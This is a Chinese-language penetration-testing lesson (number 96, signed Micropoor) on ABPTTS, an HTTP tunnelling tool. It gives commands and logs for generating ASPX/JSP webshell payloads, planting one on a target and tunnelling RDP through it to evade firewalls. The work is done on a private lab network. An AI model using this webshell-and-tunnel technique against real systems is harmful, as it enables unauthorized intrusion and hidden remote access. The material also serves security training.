ABPTTS简介:

ABPTTS是NCC Group在2016年blackhat推出的一款将TCP流量通过HTTP/HTTPS进行流量转发,在目前云主机的大环境中,发挥了比较重要的作用,可以通过脚本进行RDP,SSH,Meterpreter的交互与连接。也意味着这样可以建立一个通过80端口得流量出站来逃避防火墙。与其它http隧道不同的是,abptts是全加密。

2016年blackhat介绍:
https://www.blackhat.com/us-16/arsenal.html#a-black-path-toward-the-sun

Github:
https://github.com/nccgroup/ABPTTS

安装与生成payload:

  1. root@John:~# git clone https://github.com/nccgroup/ABPTTS.git
  2. Cloning into 'ABPTTS'...
  3. remote: Enumerating objects: 50, done.
  4. remote: Total 50 (delta 0), reused 0 (delta 0), packreused 50
  5. Unpacking objects: 100% (50/50), done.
  6. root@John:~# pip install pycrypto
  7. Requirement already satisfied: pycrypto in /usr/lib/python2.7/distpackages (2.6.1)
  8. root@John:~# cd ABPTTS/
  9. root@John:~/ABPTTS# ls
  10. abpttsclient.py abpttsfactory.py ABPTTSManual.pdf data libabptts.py license.txt README.md settings_overlays template
  11. root@John:~/ABPTTS# python abpttsfactory.py ‐o webshell
  12. [20190128 08:24:28.131919] ‐‐‐===[[[ A Black Path Toward The Sun ]]]===‐‐‐
  13. [20190128 08:24:28.131954] ‐‐==[[ Factory ]]==‐‐
  14. [20190128 08:24:28.131965] Ben Lincoln, NCC Group
  15. [20190128 08:24:28.131979] Version 1.0 20160730
  16. [20190128 08:24:28.132706] Output files will be created in "/root/ABPTTS/webshell"
  17. [20190128 08:24:28.132722] Clientside configuration file will be written as "/root/ABPTTS/webshell/config.txt"
  18. [20190128 08:24:28.132739] Using "/root/ABPTTS/data/american‐english ‐lowercase‐4‐64.txt" as a wordlist file
  19. [20190128 08:24:28.136713] Created client configuration file "/root/ABPTTS/webshell/config.txt"
  20. [20190128 08:24:28.137760] Created server file "/root/ABPTTS/webshell/abptts.jsp"
  21. [20190128 08:24:28.138342] Created server file "/root/ABPTTS/webshell/abptts.aspx"
  22. [20190128 08:24:28.138492] Created server file "/root/ABPTTS/webshell/war/WEB‐INF/web.xml"
  23. [20190128 08:24:28.138555] Created server file "/root/ABPTTS/webshell/war/META‐INF/MANIFEST.MF"
  24. [20190128 08:24:28.139128] Prebuilt JSP WAR file: /root/ABPTTS/webshell/scabGroup.war
  25. [20190128 08:24:28.139140] Unpacked WAR file contents:/root/ABPTTS/webshell/war

第九十六课:HTTP隧道ABPTTS第一季 - 图1

靶机执行:

以aspx为demo。

第九十六课:HTTP隧道ABPTTS第一季 - 图2

攻击机执行:

注:如果攻击机为vps,则 -f 需要填写vps_ip:port/目标机:port

  1. python abpttsclient.py c webshell/config.txt u "http://192.168.1.119/abptts.aspx" f 192.168.1.5:33389/192.168.1.119:3389
  1. root@John:~/ABPTTS# python abpttsclient.py ‐c webshell/config.txt ‐u "http://192.168.1.119/abptts.aspx" ‐f 192.168.1.5:33389/192.168.1.119:3389
  2. [20190128 08:33:25.749115] ‐‐‐===[[[ A Black Path Toward The Sun ]]]===‐‐‐
  3. [20190128 08:33:25.749153] ‐‐==[[ Client ]]==‐‐
  4. [20190128 08:33:25.749160] Ben Lincoln, NCC Group
  5. [20190128 08:33:25.749169] Version 1.0 20160730
  6. [20190128 08:33:25.750372] Listener ready to forward connections from 192.168.1.5:33389 to 192.168.1.119:3389 via http://192.168.1.119/abptts.aspx
  7. [20190128 08:33:25.750392] Waiting for client connection to 192.168.1.5:33389
  8. [20190128 08:33:28.560180] Client connected to 192.168.1.5:33389
  9. [20190128 08:33:28.560365] Waiting for client connection to 192.168.1.5:33389
  10. [20190128 08:33:28.560655] Connecting to 192.168.1.119:3389 via http://192.168.1.119/abptts.aspx
  11. [20190128 08:33:28.868187] Server set cookie ASP.NET_SessionId=boyfcepcijf43s0dhaz5of05; path=/; HttpOnly
  12. [20190128 08:33:28.868269] [(S2C) 192.168.1.119:3389 ‐> 192.168.1.5:33389 ‐> 192.168.1.3:8861 (Connection ID: CEA116F4AF1FAF8C)] Server created connection ID CEA116F4AF1FAF8C
  13. [20190128 08:33:29.077903] Connectionlevel exception: [Errno 104] Connection reset by peer in thread for tunnel (192.168.1.3:8861 ‐> 192.168.1.5:33389 ‐> 192.168.1.119:3389)
  14. [20190128 08:33:29.077967] Disengaging tunnel (192.168.1.3:8861 ‐> 192.168.1.5:33389 ‐> 192.168.1.119:3389)
  15. [20190128 08:33:29.077987] Closing client socket (192.168.1.3:8861 > 192.168.1.5:33389)
  16. [20190128 08:33:29.078049] Exception while closing client socket (192.168.1.3:8861 ‐> 192.168.1.5:33389): [Errno 107] Transport endpoint is not connected
  17. [20190128 08:33:29.085280] Server closed connection ID CEA116F4AF1FAF8C
  18. [20190128 08:33:36.957446] Client connected to 192.168.1.5:33389
  19. [20190128 08:33:36.957601] Waiting for client connection to 192.168.1.5:33389
  20. [20190128 08:33:36.957797] Connecting to 192.168.1.119:3389 via http://192.168.1.119/abptts.aspx
  21. [20190128 08:33:36.966507] Server set cookie ASP.NET_SessionId=bsynuc3l5ndo5h0n0bhtrv5p; path=/; HttpOnly
  22. [20190128 08:33:36.966587] [(S2C) 192.168.1.119:3389 ‐> 192.168.1.5:33389 ‐> 192.168.1.3:8862 (Connection ID: AA0FE7F073A5EFFD)] Server created connection ID AA0FE7F073A5EFFD
  23. [20190128 08:33:45.321612] [(C2S) 192.168.1.3:8862 ‐> 192.168.1.5:33389 ‐> 192.168.1.119:3389 (Connection ID: AA0FE7F073A5EFFD)]: 25805 bytes sent since last report
  24. [20190128 08:33:45.321700] [(S2C) 192.168.1.119:3389 ‐> 192.168.1.5:33389 ‐> 192.168.1.3:8862 (Connection ID: AA0FE7F073A5EFFD)] 12344 bytes sent since last report
  25. [20190128 08:33:48.482758] [(C2S) 192.168.1.3:8862 ‐> 192.168.1.5:33389 ‐> 192.168.1.119:3389 (Connection ID: AA0FE7F073A5EFFD)]: 715 bytes sent since last report
  26. [20190128 08:33:48.482838] [(S2C) 192.168.1.119:3389 ‐> 192.168.1.5:33389 ‐> 192.168.1.3:8862 (Connection ID: AA0FE7F073A5EFFD)] 2524 bytes sent since last report
  27. [20190128 08:33:54.169354] Connectionlevel exception: [Errno 104] Connection reset by peer in thread for tunnel (192.168.1.3:8862 ‐> 192.168.1.5:33389 ‐> 192.168.1.119:3389)
  28. [20190128 08:33:54.169432] Disengaging tunnel (192.168.1.3:8862 ‐> 192.168.1.5:33389 ‐> 192.168.1.119:3389)
  29. [20190128 08:33:54.169455] Closing client socket (192.168.1.3:8862 > 192.168.1.5:33389)
  30. [20190128 08:33:54.169529] Exception while closing client socket (192.168.1.3:8862 ‐> 192.168.1.5:33389): [Errno 107] Transport endpoint is not connected
  31. [20190128 08:33:54.178078] Server closed connection ID AA0FE7F073A5EFFD

第九十六课:HTTP隧道ABPTTS第一季 - 图3

第九十六课:HTTP隧道ABPTTS第一季 - 图4

非常遗憾的是,目前不支持PHP。

Micropoor